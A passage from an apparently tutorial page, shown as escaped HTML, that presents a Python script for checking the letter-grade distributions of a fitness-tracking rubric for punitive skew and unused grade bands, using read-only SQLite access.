&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn.commit()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;seeded &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;build(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;data/history.db&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Build the gate: two signatures, and only two&lt;/h2&gt;
&lt;p&gt;The gate regrades the window and asks two questions of each metric’s letter counts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Punitive skew.&lt;/strong&gt; More than 60% of records land in D or F. A rubric measures compliance with an instruction somebody is trying to follow, so heavy compliance is the expected state. Heavy failure means either the athlete is missing constantly, which something else is already shouting about, or the yardstick is wrong.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dead bands.&lt;/strong&gt; Two or more letters are never used. The table cannot reach those grades on this data, so they are decoration.&lt;/p&gt;
&lt;p&gt;Note what is deliberately &lt;em&gt;not&lt;/em&gt; checked: concentration in a passing grade. That asymmetry was the correction to this check’s own first draft, which failed any letter above a flat 60% share and promptly flagged healthy metrics. Distance grades 79% A on the live data because the distances are being hit; that is the system working. The SRE book’s rule for alerting applies directly here, that &lt;a href=&quot;https://sre.google/sre-book/monitoring-distributed-systems/&quot;&gt;every page should be actionable&lt;/a&gt;, because when alerts fire too often people skim or ignore them. A gate that cries about a metric doing its job gets muted, and then it protects nothing.&lt;/p&gt;
&lt;p&gt;Save this as &lt;code&gt;calibrate.py&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Regrade real history through the production grader and gate on the shape&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;of the letter distribution. Exit 0 clean, 1 degenerate, 2 could not run.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; argparse&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; collections &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Counter&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rubric &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base_letter, grade_record&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;LETTERS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;F&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;FAILING &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;F&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;MIN_SAMPLE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;DEFAULT_MAX_FAIL_SHARE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0.60&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;   # above this share of D/F, suspect the yardstick&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;DEFAULT_MAX_EMPTY &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;           # this many unused letters means the scale collapsed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Naming the knobs per metric turns a failure into a next step instead of a grep.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GOVERNING_CONSTANTS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;distance&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GRADE_BANDS&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance_deviation&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GRADE_BANDS&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace_deviation&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;GRADE_BANDS&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;NOISE&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SCALE&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; open_readonly&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;mode=ro is enforced by SQLite, not by this script remembering to SELECT.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3.connect(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;file:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;?mode=ro&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, uri&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn.row_factory &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3.Row&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; grade_window&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(conn):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Grade every historical record through the SAME entry point production&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    uses. A reimplementation here would be free to disagree with the grader,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    and you would not know which of the two was wrong.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.execute(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SELECT * FROM sessions ORDER BY day&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [grade_record(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; collect&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cards):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    tally &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {name: Counter() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GOVERNING_CONSTANTS}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; card &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cards:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name, grade &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; card[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;metrics&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;].items():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            tally[name][base_letter(grade)] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tally&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; verdict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(counts, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, max_fail_share, max_empty):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;(status, reason) for one metric&apos;s distribution.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Concentration in a PASSING letter is never a failure. A rubric measures&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    compliance with an instruction somebody is trying to follow, so heavy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    compliance is the expected state; heavy failure is the surprise.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(counts.values())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MIN_SAMPLE:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;skip&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;only &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;n&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; graded; need &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;MIN_SAMPLE&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    fail_share &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(counts[x] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; x &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; FAILING) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    empty &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [x &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; x &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; LETTERS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; counts[x]]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fail_share &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; max_fail_share:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fail_share&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:.0%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; graded D/F (max &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;max_fail_share&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:.0%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;                        &quot; - punitive skew&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(empty) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; max_empty:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dead bands - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(empty)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; never used&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    top, count &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; counts.most_common(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;ok&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(LETTERS) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(empty)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/5 bands used, &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;                  f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;top&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;count &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:.0%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;, D/F &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fail_share&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:.0%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; report&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tally, cards, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, max_fail_share, max_empty):&lt;/span&gt;&lt;/span&gt;
